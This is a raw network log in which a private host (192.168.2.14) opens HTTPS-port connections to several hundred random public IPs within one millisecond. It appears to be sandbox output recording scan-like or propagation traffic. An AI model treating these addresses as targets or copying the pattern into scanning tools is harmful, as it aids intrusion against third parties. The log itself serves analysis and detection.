Jan 30, 2025 10:43:00.137444019 CET	61319	443	192.168.2.14	123.230.25.49
Jan 30, 2025 10:43:00.137444019 CET	61319	443	192.168.2.14	210.132.226.64
Jan 30, 2025 10:43:00.137449026 CET	61319	443	192.168.2.14	37.9.1.120
Jan 30, 2025 10:43:00.137449026 CET	61319	443	192.168.2.14	94.219.150.5
Jan 30, 2025 10:43:00.137449980 CET	61319	443	192.168.2.14	210.152.101.136
Jan 30, 2025 10:43:00.137450933 CET	61319	443	192.168.2.14	109.220.125.244
Jan 30, 2025 10:43:00.137454033 CET	61319	443	192.168.2.14	117.244.101.40
Jan 30, 2025 10:43:00.137454033 CET	61319	443	192.168.2.14	118.194.162.167
Jan 30, 2025 10:43:00.137459993 CET	61319	443	192.168.2.14	123.226.109.54
Jan 30, 2025 10:43:00.137460947 CET	61319	443	192.168.2.14	202.114.134.114
Jan 30, 2025 10:43:00.137460947 CET	61319	443	192.168.2.14	42.55.110.7
Jan 30, 2025 10:43:00.137460947 CET	61319	443	192.168.2.14	123.65.10.232
Jan 30, 2025 10:43:00.137464046 CET	61319	443	192.168.2.14	42.237.35.160
Jan 30, 2025 10:43:00.137460947 CET	61319	443	192.168.2.14	212.120.110.214
Jan 30, 2025 10:43:00.137471914 CET	61319	443	192.168.2.14	148.169.235.230
Jan 30, 2025 10:43:00.137475967 CET	61319	443	192.168.2.14	94.74.165.28
Jan 30, 2025 10:43:00.137476921 CET	61319	443	192.168.2.14	109.77.145.247
Jan 30, 2025 10:43:00.137481928 CET	61319	443	192.168.2.14	79.205.132.135
Jan 30, 2025 10:43:00.137481928 CET	61319	443	192.168.2.14	210.178.215.134
Jan 30, 2025 10:43:00.137490988 CET	61319	443	192.168.2.14	42.63.15.251
Jan 30, 2025 10:43:00.137499094 CET	61319	443	192.168.2.14	109.21.203.137
Jan 30, 2025 10:43:00.137501955 CET	61319	443	192.168.2.14	118.59.198.108
Jan 30, 2025 10:43:00.137512922 CET	61319	443	192.168.2.14	79.174.37.149
Jan 30, 2025 10:43:00.137566090 CET	61319	443	192.168.2.14	109.213.211.139
Jan 30, 2025 10:43:00.137583017 CET	61319	443	192.168.2.14	2.26.175.156
Jan 30, 2025 10:43:00.137583971 CET	61319	443	192.168.2.14	202.25.207.69
Jan 30, 2025 10:43:00.137583017 CET	61319	443	192.168.2.14	79.200.87.231
Jan 30, 2025 10:43:00.137583017 CET	61319	443	192.168.2.14	118.133.212.237
Jan 30, 2025 10:43:00.137584925 CET	61319	443	192.168.2.14	123.102.159.246
Jan 30, 2025 10:43:00.137584925 CET	61319	443	192.168.2.14	79.186.117.8
Jan 30, 2025 10:43:00.137587070 CET	61319	443	192.168.2.14	2.254.23.253
Jan 30, 2025 10:43:00.137587070 CET	61319	443	192.168.2.14	2.15.77.66
Jan 30, 2025 10:43:00.137587070 CET	61319	443	192.168.2.14	117.29.219.65
Jan 30, 2025 10:43:00.137588978 CET	61319	443	192.168.2.14	42.110.133.202
Jan 30, 2025 10:43:00.137589931 CET	61319	443	192.168.2.14	210.115.252.8
Jan 30, 2025 10:43:00.137589931 CET	61319	443	192.168.2.14	94.83.124.157
Jan 30, 2025 10:43:00.137589931 CET	61319	443	192.168.2.14	118.243.84.2
Jan 30, 2025 10:43:00.137607098 CET	61319	443	192.168.2.14	123.63.231.151
Jan 30, 2025 10:43:00.137607098 CET	61319	443	192.168.2.14	94.111.165.206
Jan 30, 2025 10:43:00.137612104 CET	61319	443	192.168.2.14	123.246.244.249
Jan 30, 2025 10:43:00.137612104 CET	61319	443	192.168.2.14	123.144.64.173
Jan 30, 2025 10:43:00.137612104 CET	61319	443	192.168.2.14	148.188.14.14
Jan 30, 2025 10:43:00.137613058 CET	61319	443	192.168.2.14	5.107.131.125
Jan 30, 2025 10:43:00.137612104 CET	61319	443	192.168.2.14	117.92.144.24
Jan 30, 2025 10:43:00.137613058 CET	61319	443	192.168.2.14	37.119.212.122
Jan 30, 2025 10:43:00.137614965 CET	61319	443	192.168.2.14	37.24.252.106
Jan 30, 2025 10:43:00.137614012 CET	61319	443	192.168.2.14	123.207.45.240
Jan 30, 2025 10:43:00.137614965 CET	61319	443	192.168.2.14	178.235.78.20
Jan 30, 2025 10:43:00.137612104 CET	61319	443	192.168.2.14	123.73.4.99
Jan 30, 2025 10:43:00.137614965 CET	61319	443	192.168.2.14	37.66.196.53
Jan 30, 2025 10:43:00.137614012 CET	61319	443	192.168.2.14	5.117.236.242
Jan 30, 2025 10:43:00.137612104 CET	61319	443	192.168.2.14	178.11.238.150
Jan 30, 2025 10:43:00.137613058 CET	61319	443	192.168.2.14	212.61.223.98
Jan 30, 2025 10:43:00.137614965 CET	61319	443	192.168.2.14	212.37.32.199
Jan 30, 2025 10:43:00.137614965 CET	61319	443	192.168.2.14	148.74.171.140
Jan 30, 2025 10:43:00.137626886 CET	61319	443	192.168.2.14	5.212.154.55
Jan 30, 2025 10:43:00.137626886 CET	61319	443	192.168.2.14	178.174.162.187
Jan 30, 2025 10:43:00.137629032 CET	61319	443	192.168.2.14	117.68.152.247
Jan 30, 2025 10:43:00.137629032 CET	61319	443	192.168.2.14	123.27.138.50
Jan 30, 2025 10:43:00.137629032 CET	61319	443	192.168.2.14	118.228.6.13
Jan 30, 2025 10:43:00.137629032 CET	61319	443	192.168.2.14	5.239.180.165
Jan 30, 2025 10:43:00.137636900 CET	61319	443	192.168.2.14	94.251.177.155
Jan 30, 2025 10:43:00.137636900 CET	61319	443	192.168.2.14	117.72.216.6
Jan 30, 2025 10:43:00.137636900 CET	61319	443	192.168.2.14	117.127.61.248
Jan 30, 2025 10:43:00.137638092 CET	61319	443	192.168.2.14	202.214.3.227
Jan 30, 2025 10:43:00.137638092 CET	61319	443	192.168.2.14	2.93.77.119
Jan 30, 2025 10:43:00.137639046 CET	61319	443	192.168.2.14	5.124.7.98
Jan 30, 2025 10:43:00.137638092 CET	61319	443	192.168.2.14	5.10.67.96
Jan 30, 2025 10:43:00.137639999 CET	61319	443	192.168.2.14	42.51.118.27
Jan 30, 2025 10:43:00.137639999 CET	61319	443	192.168.2.14	94.201.42.195
Jan 30, 2025 10:43:00.137643099 CET	61319	443	192.168.2.14	94.115.126.130
Jan 30, 2025 10:43:00.137644053 CET	61319	443	192.168.2.14	5.40.21.221
Jan 30, 2025 10:43:00.137643099 CET	61319	443	192.168.2.14	37.14.1.77
Jan 30, 2025 10:43:00.137646914 CET	61319	443	192.168.2.14	210.233.240.68
Jan 30, 2025 10:43:00.137648106 CET	61319	443	192.168.2.14	37.252.226.69
Jan 30, 2025 10:43:00.137655020 CET	61319	443	192.168.2.14	2.166.146.134
Jan 30, 2025 10:43:00.137655973 CET	61319	443	192.168.2.14	178.84.218.31
Jan 30, 2025 10:43:00.137655973 CET	61319	443	192.168.2.14	178.68.73.27
Jan 30, 2025 10:43:00.137658119 CET	61319	443	192.168.2.14	5.206.81.188
Jan 30, 2025 10:43:00.137660027 CET	61319	443	192.168.2.14	210.130.220.66
Jan 30, 2025 10:43:00.137660027 CET	61319	443	192.168.2.14	212.185.156.236
Jan 30, 2025 10:43:00.137660027 CET	61319	443	192.168.2.14	79.242.247.108
Jan 30, 2025 10:43:00.137660027 CET	61319	443	192.168.2.14	118.36.140.52
Jan 30, 2025 10:43:00.137660027 CET	61319	443	192.168.2.14	202.15.135.241
Jan 30, 2025 10:43:00.137660027 CET	61319	443	192.168.2.14	79.202.44.169
Jan 30, 2025 10:43:00.137660027 CET	61319	443	192.168.2.14	123.201.50.106
Jan 30, 2025 10:43:00.137660027 CET	61319	443	192.168.2.14	94.37.97.244
Jan 30, 2025 10:43:00.137662888 CET	61319	443	192.168.2.14	109.22.234.64
Jan 30, 2025 10:43:00.137674093 CET	61319	443	192.168.2.14	5.155.193.158
Jan 30, 2025 10:43:00.137674093 CET	61319	443	192.168.2.14	2.151.41.182
Jan 30, 2025 10:43:00.137675047 CET	61319	443	192.168.2.14	123.151.56.104
Jan 30, 2025 10:43:00.137684107 CET	61319	443	192.168.2.14	79.55.107.212
Jan 30, 2025 10:43:00.137712955 CET	61319	443	192.168.2.14	117.147.157.39
Jan 30, 2025 10:43:00.137716055 CET	61319	443	192.168.2.14	117.176.241.117
Jan 30, 2025 10:43:00.137721062 CET	61319	443	192.168.2.14	94.8.8.179
Jan 30, 2025 10:43:00.137722969 CET	61319	443	192.168.2.14	79.22.210.9
Jan 30, 2025 10:43:00.137727022 CET	61319	443	192.168.2.14	2.33.54.11
Jan 30, 2025 10:43:00.137727976 CET	61319	443	192.168.2.14	109.165.156.153
Jan 30, 2025 10:43:00.137747049 CET	61319	443	192.168.2.14	5.144.152.203
Jan 30, 2025 10:43:00.137747049 CET	61319	443	192.168.2.14	109.219.247.176
Jan 30, 2025 10:43:00.137759924 CET	61319	443	192.168.2.14	212.210.191.169
Jan 30, 2025 10:43:00.137759924 CET	61319	443	192.168.2.14	37.10.67.231
Jan 30, 2025 10:43:00.137762070 CET	61319	443	192.168.2.14	42.66.151.2
Jan 30, 2025 10:43:00.137762070 CET	61319	443	192.168.2.14	2.70.208.78
Jan 30, 2025 10:43:00.137763977 CET	61319	443	192.168.2.14	178.96.172.22
Jan 30, 2025 10:43:00.137773037 CET	61319	443	192.168.2.14	5.57.53.171
Jan 30, 2025 10:43:00.137782097 CET	61319	443	192.168.2.14	94.181.251.1
Jan 30, 2025 10:43:00.137783051 CET	61319	443	192.168.2.14	118.175.27.172
Jan 30, 2025 10:43:00.137783051 CET	61319	443	192.168.2.14	109.26.160.236
Jan 30, 2025 10:43:00.137784958 CET	61319	443	192.168.2.14	178.255.181.130
Jan 30, 2025 10:43:00.137787104 CET	61319	443	192.168.2.14	212.64.62.179
Jan 30, 2025 10:43:00.137787104 CET	61319	443	192.168.2.14	2.233.51.57
Jan 30, 2025 10:43:00.137787104 CET	61319	443	192.168.2.14	123.99.131.95
Jan 30, 2025 10:43:00.137787104 CET	61319	443	192.168.2.14	5.209.234.116
Jan 30, 2025 10:43:00.137787104 CET	61319	443	192.168.2.14	123.88.44.51
Jan 30, 2025 10:43:00.137787104 CET	61319	443	192.168.2.14	117.131.14.160
Jan 30, 2025 10:43:00.137789965 CET	61319	443	192.168.2.14	109.196.246.128
Jan 30, 2025 10:43:00.137789965 CET	61319	443	192.168.2.14	109.234.183.165
Jan 30, 2025 10:43:00.137790918 CET	61319	443	192.168.2.14	148.66.220.125
Jan 30, 2025 10:43:00.137790918 CET	61319	443	192.168.2.14	123.116.129.60
Jan 30, 2025 10:43:00.137793064 CET	61319	443	192.168.2.14	148.47.234.48
Jan 30, 2025 10:43:00.137790918 CET	61319	443	192.168.2.14	202.119.95.195
Jan 30, 2025 10:43:00.137789965 CET	61319	443	192.168.2.14	5.184.3.1
Jan 30, 2025 10:43:00.137789965 CET	61319	443	192.168.2.14	123.190.22.186
Jan 30, 2025 10:43:00.137795925 CET	61319	443	192.168.2.14	42.18.240.23
Jan 30, 2025 10:43:00.137789965 CET	61319	443	192.168.2.14	2.208.185.106
Jan 30, 2025 10:43:00.137795925 CET	61319	443	192.168.2.14	123.229.128.134
Jan 30, 2025 10:43:00.137795925 CET	61319	443	192.168.2.14	210.113.158.6
Jan 30, 2025 10:43:00.137789965 CET	61319	443	192.168.2.14	212.181.153.54
Jan 30, 2025 10:43:00.137795925 CET	61319	443	192.168.2.14	109.76.65.182
Jan 30, 2025 10:43:00.137789965 CET	61319	443	192.168.2.14	202.163.195.96
Jan 30, 2025 10:43:00.137803078 CET	61319	443	192.168.2.14	42.131.226.29
Jan 30, 2025 10:43:00.137803078 CET	61319	443	192.168.2.14	148.169.191.35
Jan 30, 2025 10:43:00.137804031 CET	61319	443	192.168.2.14	118.59.34.181
Jan 30, 2025 10:43:00.137803078 CET	61319	443	192.168.2.14	210.220.206.36
Jan 30, 2025 10:43:00.137804031 CET	61319	443	192.168.2.14	210.51.153.118
Jan 30, 2025 10:43:00.137803078 CET	61319	443	192.168.2.14	37.17.237.62
Jan 30, 2025 10:43:00.137804031 CET	61319	443	192.168.2.14	118.165.87.207
Jan 30, 2025 10:43:00.137809038 CET	61319	443	192.168.2.14	123.13.1.100
Jan 30, 2025 10:43:00.137809038 CET	61319	443	192.168.2.14	2.252.22.251
Jan 30, 2025 10:43:00.137803078 CET	61319	443	192.168.2.14	42.81.144.241
Jan 30, 2025 10:43:00.137804031 CET	61319	443	192.168.2.14	118.42.68.65
Jan 30, 2025 10:43:00.137809038 CET	61319	443	192.168.2.14	37.29.231.178
Jan 30, 2025 10:43:00.137804031 CET	61319	443	192.168.2.14	210.29.110.96
Jan 30, 2025 10:43:00.137804031 CET	61319	443	192.168.2.14	118.55.210.24
Jan 30, 2025 10:43:00.137830973 CET	61319	443	192.168.2.14	79.213.179.74
Jan 30, 2025 10:43:00.137830973 CET	61319	443	192.168.2.14	148.138.178.231
Jan 30, 2025 10:43:00.137851000 CET	61319	443	192.168.2.14	79.241.104.99
Jan 30, 2025 10:43:00.137855053 CET	61319	443	192.168.2.14	202.132.214.67
Jan 30, 2025 10:43:00.137856007 CET	61319	443	192.168.2.14	117.80.242.242
Jan 30, 2025 10:43:00.137918949 CET	61319	443	192.168.2.14	2.146.236.242
Jan 30, 2025 10:43:00.137919903 CET	61319	443	192.168.2.14	109.216.79.68
Jan 30, 2025 10:43:00.137918949 CET	61319	443	192.168.2.14	148.111.123.189
Jan 30, 2025 10:43:00.137919903 CET	61319	443	192.168.2.14	37.64.250.35
Jan 30, 2025 10:43:00.137919903 CET	61319	443	192.168.2.14	210.70.139.87
Jan 30, 2025 10:43:00.137923956 CET	61319	443	192.168.2.14	210.21.189.186
Jan 30, 2025 10:43:00.137924910 CET	61319	443	192.168.2.14	117.170.217.177
Jan 30, 2025 10:43:00.137923956 CET	61319	443	192.168.2.14	123.188.186.140
Jan 30, 2025 10:43:00.137924910 CET	61319	443	192.168.2.14	79.139.152.228
Jan 30, 2025 10:43:00.137923956 CET	61319	443	192.168.2.14	37.98.144.76
Jan 30, 2025 10:43:00.137924910 CET	61319	443	192.168.2.14	109.48.47.209
Jan 30, 2025 10:43:00.137924910 CET	61319	443	192.168.2.14	37.183.59.87
Jan 30, 2025 10:43:00.137924910 CET	61319	443	192.168.2.14	148.232.93.30
Jan 30, 2025 10:43:00.137939930 CET	61319	443	192.168.2.14	202.142.90.133
Jan 30, 2025 10:43:00.137939930 CET	61319	443	192.168.2.14	178.78.83.53
Jan 30, 2025 10:43:00.137942076 CET	61319	443	192.168.2.14	202.221.199.191
Jan 30, 2025 10:43:00.137942076 CET	61319	443	192.168.2.14	148.242.52.198
Jan 30, 2025 10:43:00.137943983 CET	61319	443	192.168.2.14	37.11.210.136
Jan 30, 2025 10:43:00.137942076 CET	61319	443	192.168.2.14	42.222.79.118
Jan 30, 2025 10:43:00.137945890 CET	61319	443	192.168.2.14	148.78.78.207
Jan 30, 2025 10:43:00.137948990 CET	61319	443	192.168.2.14	42.173.54.44
Jan 30, 2025 10:43:00.137945890 CET	61319	443	192.168.2.14	202.240.233.52
Jan 30, 2025 10:43:00.137948990 CET	61319	443	192.168.2.14	109.36.35.80
Jan 30, 2025 10:43:00.137943983 CET	61319	443	192.168.2.14	42.38.218.207
Jan 30, 2025 10:43:00.137958050 CET	61319	443	192.168.2.14	2.7.220.88
Jan 30, 2025 10:43:00.137945890 CET	61319	443	192.168.2.14	109.55.245.119
Jan 30, 2025 10:43:00.137948990 CET	61319	443	192.168.2.14	109.168.157.108
Jan 30, 2025 10:43:00.137943983 CET	61319	443	192.168.2.14	42.200.35.53
Jan 30, 2025 10:43:00.137943983 CET	61319	443	192.168.2.14	212.18.95.110
Jan 30, 2025 10:43:00.137958050 CET	61319	443	192.168.2.14	2.15.25.9
Jan 30, 2025 10:43:00.137964010 CET	61319	443	192.168.2.14	212.209.55.33
Jan 30, 2025 10:43:00.137969017 CET	61319	443	192.168.2.14	178.27.122.153
Jan 30, 2025 10:43:00.137969971 CET	61319	443	192.168.2.14	79.134.136.103
Jan 30, 2025 10:43:00.137974977 CET	61319	443	192.168.2.14	178.217.143.223
Jan 30, 2025 10:43:00.137983084 CET	61319	443	192.168.2.14	37.3.131.109
Jan 30, 2025 10:43:00.137983084 CET	61319	443	192.168.2.14	212.134.170.139
Jan 30, 2025 10:43:00.138000011 CET	61319	443	192.168.2.14	109.174.121.177
Jan 30, 2025 10:43:00.138000965 CET	61319	443	192.168.2.14	5.128.22.34
Jan 30, 2025 10:43:00.138003111 CET	61319	443	192.168.2.14	178.69.0.39
Jan 30, 2025 10:43:00.138004065 CET	61319	443	192.168.2.14	118.116.189.58
Jan 30, 2025 10:43:00.138003111 CET	61319	443	192.168.2.14	202.98.92.183
Jan 30, 2025 10:43:00.138005972 CET	61319	443	192.168.2.14	178.79.214.197
Jan 30, 2025 10:43:00.138004065 CET	61319	443	192.168.2.14	37.39.4.23
Jan 30, 2025 10:43:00.138004065 CET	61319	443	192.168.2.14	5.96.125.44
Jan 30, 2025 10:43:00.138009071 CET	61319	443	192.168.2.14	79.104.73.42
Jan 30, 2025 10:43:00.138004065 CET	61319	443	192.168.2.14	37.69.112.219
Jan 30, 2025 10:43:00.138004065 CET	61319	443	192.168.2.14	148.87.3.246
Jan 30, 2025 10:43:00.138004065 CET	61319	443	192.168.2.14	118.144.110.26
Jan 30, 2025 10:43:00.138004065 CET	61319	443	192.168.2.14	123.87.179.8
Jan 30, 2025 10:43:00.138020992 CET	61319	443	192.168.2.14	42.118.78.40
Jan 30, 2025 10:43:00.138025999 CET	61319	443	192.168.2.14	109.226.188.133
Jan 30, 2025 10:43:00.138027906 CET	61319	443	192.168.2.14	79.236.114.9
Jan 30, 2025 10:43:00.138056040 CET	61319	443	192.168.2.14	109.180.158.24
Jan 30, 2025 10:43:00.138056040 CET	61319	443	192.168.2.14	94.206.100.4
Jan 30, 2025 10:43:00.138061047 CET	61319	443	192.168.2.14	178.45.235.173
Jan 30, 2025 10:43:00.138066053 CET	61319	443	192.168.2.14	212.144.71.147
Jan 30, 2025 10:43:00.138067961 CET	61319	443	192.168.2.14	117.140.92.123
Jan 30, 2025 10:43:00.138068914 CET	61319	443	192.168.2.14	202.20.164.131
Jan 30, 2025 10:43:00.138068914 CET	61319	443	192.168.2.14	94.103.69.163
Jan 30, 2025 10:43:00.138089895 CET	61319	443	192.168.2.14	42.46.194.164
Jan 30, 2025 10:43:00.138109922 CET	61319	443	192.168.2.14	210.201.38.239
Jan 30, 2025 10:43:00.138108969 CET	61319	443	192.168.2.14	79.208.212.10
Jan 30, 2025 10:43:00.138109922 CET	61319	443	192.168.2.14	210.239.119.224
Jan 30, 2025 10:43:00.138113022 CET	61319	443	192.168.2.14	37.70.11.45
Jan 30, 2025 10:43:00.138113022 CET	61319	443	192.168.2.14	118.18.153.27
Jan 30, 2025 10:43:00.138118029 CET	61319	443	192.168.2.14	210.140.204.149
Jan 30, 2025 10:43:00.138118029 CET	61319	443	192.168.2.14	123.210.69.106
Jan 30, 2025 10:43:00.138118029 CET	61319	443	192.168.2.14	37.142.91.96
Jan 30, 2025 10:43:00.138124943 CET	61319	443	192.168.2.14	148.160.196.100
Jan 30, 2025 10:43:00.138124943 CET	61319	443	192.168.2.14	210.155.132.9
Jan 30, 2025 10:43:00.138124943 CET	61319	443	192.168.2.14	202.79.94.221
Jan 30, 2025 10:43:00.138124943 CET	61319	443	192.168.2.14	148.56.25.102
Jan 30, 2025 10:43:00.138124943 CET	61319	443	192.168.2.14	117.51.196.37
Jan 30, 2025 10:43:00.138132095 CET	61319	443	192.168.2.14	37.89.201.30
Jan 30, 2025 10:43:00.138132095 CET	61319	443	192.168.2.14	109.131.80.117
Jan 30, 2025 10:43:00.138133049 CET	61319	443	192.168.2.14	118.167.238.232
Jan 30, 2025 10:43:00.138124943 CET	61319	443	192.168.2.14	117.137.178.240
Jan 30, 2025 10:43:00.138133049 CET	61319	443	192.168.2.14	202.80.249.113
Jan 30, 2025 10:43:00.138135910 CET	61319	443	192.168.2.14	79.200.28.38
Jan 30, 2025 10:43:00.138138056 CET	61319	443	192.168.2.14	5.176.77.21
Jan 30, 2025 10:43:00.138138056 CET	61319	443	192.168.2.14	212.35.228.16
Jan 30, 2025 10:43:00.138140917 CET	61319	443	192.168.2.14	148.95.203.40
Jan 30, 2025 10:43:00.138144970 CET	61319	443	192.168.2.14	178.83.228.58
Jan 30, 2025 10:43:00.138145924 CET	61319	443	192.168.2.14	79.221.17.200
Jan 30, 2025 10:43:00.138154984 CET	61319	443	192.168.2.14	118.113.178.72
Jan 30, 2025 10:43:00.138160944 CET	61319	443	192.168.2.14	109.25.210.20
Jan 30, 2025 10:43:00.138170004 CET	61319	443	192.168.2.14	42.62.229.53
Jan 30, 2025 10:43:00.138175964 CET	61319	443	192.168.2.14	118.116.145.162
Jan 30, 2025 10:43:00.138216019 CET	61319	443	192.168.2.14	210.127.132.105
Jan 30, 2025 10:43:00.138220072 CET	61319	443	192.168.2.14	109.201.20.93
Jan 30, 2025 10:43:00.138220072 CET	61319	443	192.168.2.14	5.132.0.8
Jan 30, 2025 10:43:00.138220072 CET	61319	443	192.168.2.14	5.133.61.143
Jan 30, 2025 10:43:00.138242006 CET	61319	443	192.168.2.14	117.245.225.93
Jan 30, 2025 10:43:00.138256073 CET	61319	443	192.168.2.14	148.191.66.211
Jan 30, 2025 10:43:00.138257027 CET	61319	443	192.168.2.14	2.215.195.24
Jan 30, 2025 10:43:00.138256073 CET	61319	443	192.168.2.14	37.54.184.51
Jan 30, 2025 10:43:00.138257027 CET	61319	443	192.168.2.14	118.55.33.54
Jan 30, 2025 10:43:00.138257980 CET	61319	443	192.168.2.14	118.14.41.170
Jan 30, 2025 10:43:00.138257980 CET	61319	443	192.168.2.14	178.63.224.2
Jan 30, 2025 10:43:00.138256073 CET	61319	443	192.168.2.14	2.250.3.201
Jan 30, 2025 10:43:00.138262987 CET	61319	443	192.168.2.14	94.154.202.132
Jan 30, 2025 10:43:00.138257980 CET	61319	443	192.168.2.14	109.77.93.61
Jan 30, 2025 10:43:00.138257980 CET	61319	443	192.168.2.14	37.27.117.151
Jan 30, 2025 10:43:00.138262987 CET	61319	443	192.168.2.14	210.156.221.97
Jan 30, 2025 10:43:00.138257980 CET	61319	443	192.168.2.14	117.45.6.217
Jan 30, 2025 10:43:00.138266087 CET	61319	443	192.168.2.14	42.255.75.48
Jan 30, 2025 10:43:00.138267040 CET	61319	443	192.168.2.14	94.215.163.53
Jan 30, 2025 10:43:00.138257980 CET	61319	443	192.168.2.14	5.37.166.85
Jan 30, 2025 10:43:00.138268948 CET	61319	443	192.168.2.14	37.72.137.235
Jan 30, 2025 10:43:00.138263941 CET	61319	443	192.168.2.14	5.20.113.101
Jan 30, 2025 10:43:00.138271093 CET	61319	443	192.168.2.14	117.59.254.72
Jan 30, 2025 10:43:00.138263941 CET	61319	443	192.168.2.14	2.151.234.194
Jan 30, 2025 10:43:00.138271093 CET	61319	443	192.168.2.14	2.76.177.28
Jan 30, 2025 10:43:00.138271093 CET	61319	443	192.168.2.14	212.213.153.13
Jan 30, 2025 10:43:00.138279915 CET	61319	443	192.168.2.14	5.45.138.228
Jan 30, 2025 10:43:00.138290882 CET	61319	443	192.168.2.14	79.121.162.245
Jan 30, 2025 10:43:00.138293982 CET	61319	443	192.168.2.14	5.37.86.75
Jan 30, 2025 10:43:00.138293982 CET	61319	443	192.168.2.14	118.228.170.136
Jan 30, 2025 10:43:00.138293982 CET	61319	443	192.168.2.14	94.238.15.165
Jan 30, 2025 10:43:00.138310909 CET	61319	443	192.168.2.14	118.172.120.69
Jan 30, 2025 10:43:00.138315916 CET	61319	443	192.168.2.14	123.133.42.230
Jan 30, 2025 10:43:00.138381004 CET	61319	443	192.168.2.14	94.5.134.71
Jan 30, 2025 10:43:00.138384104 CET	61319	443	192.168.2.14	117.96.102.164
Jan 30, 2025 10:43:00.138384104 CET	61319	443	192.168.2.14	117.239.21.5
Jan 30, 2025 10:43:00.138395071 CET	61319	443	192.168.2.14	94.172.97.23
Jan 30, 2025 10:43:00.138395071 CET	61319	443	192.168.2.14	118.212.101.237
Jan 30, 2025 10:43:00.138395071 CET	61319	443	192.168.2.14	178.38.104.147
Jan 30, 2025 10:43:00.138396025 CET	61319	443	192.168.2.14	42.229.88.231
Jan 30, 2025 10:43:00.138395071 CET	61319	443	192.168.2.14	178.220.157.4
Jan 30, 2025 10:43:00.138400078 CET	61319	443	192.168.2.14	94.166.57.79
Jan 30, 2025 10:43:00.138398886 CET	61319	443	192.168.2.14	109.87.173.227
Jan 30, 2025 10:43:00.138401031 CET	61319	443	192.168.2.14	118.18.218.62
Jan 30, 2025 10:43:00.138406992 CET	61319	443	192.168.2.14	202.208.218.212
Jan 30, 2025 10:43:00.138396025 CET	61319	443	192.168.2.14	212.169.81.198
Jan 30, 2025 10:43:00.138400078 CET	61319	443	192.168.2.14	212.68.35.113
Jan 30, 2025 10:43:00.138400078 CET	61319	443	192.168.2.14	210.174.85.21
Jan 30, 2025 10:43:00.138406992 CET	61319	443	192.168.2.14	109.113.92.116
Jan 30, 2025 10:43:00.138406992 CET	61319	443	192.168.2.14	212.57.47.230
Jan 30, 2025 10:43:00.138411045 CET	61319	443	192.168.2.14	148.11.134.192
Jan 30, 2025 10:43:00.138406992 CET	61319	443	192.168.2.14	210.191.200.115
Jan 30, 2025 10:43:00.138411045 CET	61319	443	192.168.2.14	37.2.5.107
Jan 30, 2025 10:43:00.138415098 CET	61319	443	192.168.2.14	210.105.146.168
Jan 30, 2025 10:43:00.138417006 CET	61319	443	192.168.2.14	2.132.76.48
Jan 30, 2025 10:43:00.138422012 CET	61319	443	192.168.2.14	212.63.166.152
Jan 30, 2025 10:43:00.138428926 CET	61319	443	192.168.2.14	212.242.98.139
Jan 30, 2025 10:43:00.138428926 CET	61319	443	192.168.2.14	212.35.65.55
Jan 30, 2025 10:43:00.138434887 CET	61319	443	192.168.2.14	94.226.133.33
Jan 30, 2025 10:43:00.138436079 CET	61319	443	192.168.2.14	178.151.183.25
Jan 30, 2025 10:43:00.138437986 CET	61319	443	192.168.2.14	210.194.226.2
Jan 30, 2025 10:43:00.138437986 CET	61319	443	192.168.2.14	109.201.10.171
Jan 30, 2025 10:43:00.138437986 CET	61319	443	192.168.2.14	94.123.154.138
Jan 30, 2025 10:43:00.138446093 CET	61319	443	192.168.2.14	109.24.184.223
Jan 30, 2025 10:43:00.138446093 CET	61319	443	192.168.2.14	202.160.125.89
Jan 30, 2025 10:43:00.138448000 CET	61319	443	192.168.2.14	37.35.143.230
Jan 30, 2025 10:43:00.138459921 CET	61319	443	192.168.2.14	202.44.91.223
Jan 30, 2025 10:43:00.138485909 CET	61319	443	192.168.2.14	178.111.173.78
Jan 30, 2025 10:43:00.138485909 CET	61319	443	192.168.2.14	5.38.32.215
Jan 30, 2025 10:43:00.138489008 CET	61319	443	192.168.2.14	148.40.107.166
Jan 30, 2025 10:43:00.138492107 CET	61319	443	192.168.2.14	2.121.231.212
Jan 30, 2025 10:43:00.138492107 CET	61319	443	192.168.2.14	79.202.152.54
Jan 30, 2025 10:43:00.138492107 CET	61319	443	192.168.2.14	42.98.75.155
Jan 30, 2025 10:43:00.138494015 CET	61319	443	192.168.2.14	118.154.2.19
Jan 30, 2025 10:43:00.138531923 CET	61319	443	192.168.2.14	37.85.118.196
Jan 30, 2025 10:43:00.138534069 CET	61319	443	192.168.2.14	148.24.71.244
Jan 30, 2025 10:43:00.138535976 CET	61319	443	192.168.2.14	79.18.46.182
Jan 30, 2025 10:43:00.138534069 CET	61319	443	192.168.2.14	94.168.54.120
Jan 30, 2025 10:43:00.138534069 CET	61319	443	192.168.2.14	37.175.202.176
Jan 30, 2025 10:43:00.138545990 CET	61319	443	192.168.2.14	5.107.214.40
Jan 30, 2025 10:43:00.138550997 CET	61319	443	192.168.2.14	202.36.202.158
Jan 30, 2025 10:43:00.138552904 CET	61319	443	192.168.2.14	109.45.146.194
Jan 30, 2025 10:43:00.138556004 CET	61319	443	192.168.2.14	178.142.59.62
Jan 30, 2025 10:43:00.138556004 CET	61319	443	192.168.2.14	118.181.56.148
Jan 30, 2025 10:43:00.138573885 CET	61319	443	192.168.2.14	148.174.49.16
Jan 30, 2025 10:43:00.138576031 CET	61319	443	192.168.2.14	118.58.116.25
Jan 30, 2025 10:43:00.138581991 CET	61319	443	192.168.2.14	37.68.186.22
Jan 30, 2025 10:43:00.138588905 CET	61319	443	192.168.2.14	178.248.6.126
Jan 30, 2025 10:43:00.138600111 CET	61319	443	192.168.2.14	109.15.86.32
Jan 30, 2025 10:43:00.138602018 CET	61319	443	192.168.2.14	79.72.33.92
Jan 30, 2025 10:43:00.138643026 CET	61319	443	192.168.2.14	79.200.6.93
Jan 30, 2025 10:43:00.138645887 CET	61319	443	192.168.2.14	5.225.165.43
Jan 30, 2025 10:43:00.138647079 CET	61319	443	192.168.2.14	202.244.155.100
Jan 30, 2025 10:43:00.138648033 CET	61319	443	192.168.2.14	210.235.188.240
Jan 30, 2025 10:43:00.138678074 CET	61319	443	192.168.2.14	5.221.174.94
Jan 30, 2025 10:43:00.138678074 CET	61319	443	192.168.2.14	123.156.179.14
Jan 30, 2025 10:43:00.138678074 CET	61319	443	192.168.2.14	178.255.161.170
Jan 30, 2025 10:43:00.138678074 CET	61319	443	192.168.2.14	210.247.235.222
Jan 30, 2025 10:43:00.138680935 CET	61319	443	192.168.2.14	37.77.41.70
Jan 30, 2025 10:43:00.138689995 CET	61319	443	192.168.2.14	212.26.43.62
Jan 30, 2025 10:43:00.138691902 CET	61319	443	192.168.2.14	42.29.36.74
Jan 30, 2025 10:43:00.138693094 CET	61319	443	192.168.2.14	37.183.83.13
